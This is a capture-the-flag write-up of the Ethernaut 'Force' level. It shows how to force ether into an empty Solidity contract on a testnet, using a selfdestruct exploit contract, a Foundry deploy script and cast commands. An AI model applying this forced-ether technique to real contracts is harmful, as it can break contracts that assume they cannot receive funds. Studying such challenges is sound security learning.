Some contracts will simply not take your money ¯\_(ツ)_/¯

The goal of this level is to make the balance of the contract greater than zero.

And the contract’s code is…

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
                   MEOW ?
         /\_/\   /
    ____/ o o \
    /~____  =ø= /
    (______)__m_m)
                   */ }

An empty contract!

First, we need to get an instance for the challenge:

  1. After connecting our Metamask wallet, click on “Get New Instance”:

    alt text

  2. After approving the transaction, the contract address will be shown in the browser’s javascript console:

    alt text

So, we need to send some money to the empty contract. However, it does not implement receive() nor fallback(). I came accross to this Ethereum StackExchange question and got to know the selfdestruction ability of contracts!

One of the OPCODES that the EVM implements is the SELFDESTRUCT one. This removes a contract’s code and storage from the blockchain and sends its remaining ether to a specified address. Most importantly, the receiving address cannot refuse to get that ether. This is an example of the simplest self-destructible contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Exploit {
    function destroy(address _to) public {
        selfdestruct(payable(_to));
    }

    receive() external payable {} // Add this function to make the contract easily payable
}

Let’s use foundry to deploy the contract. Write the exploit contract in the file src/Exploit.sol, and write this to script/Exploit.s.sol to deploy it:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Script.sol";
import "../src/Exploit.sol";

contract ExploitScript is Script {
    function run() external {
        uint256 deployerPrivateKey = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployerPrivateKey);
        Exploit exploit = new Exploit();
        vm.stopBroadcast();
    }
}

Now, execute these commands to compile the project and deploy the malicious contract:

forge build
forge script script/Exploit.s.sol --rpc-url $SEPOLIA_RPC_URL --broadcast --verify -vvvv

alt text

First, send some ether to our contract:

cast send 0x646B8c1B6390E8FE0aC53560C04928A26306bF6f --value 1 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY

And now, destroy it:

cast send 0x646B8c1B6390E8FE0aC53560C04928A26306bF6f "destroy(address)" 0x849a7dd6e426fe961a00A5b34287524A00CbC0f4 --rpc-url $SEPOLIA_RPC_URL --private-key $PRIVATE_KEY

Finally, check the balance of the target contract and it should be 1 wei:

cast balance 0x849a7dd6e426fe961a00A5b34287524A00CbC0f4 --rpc-url $SEPOLIA_RPC_URL

alt text

alt text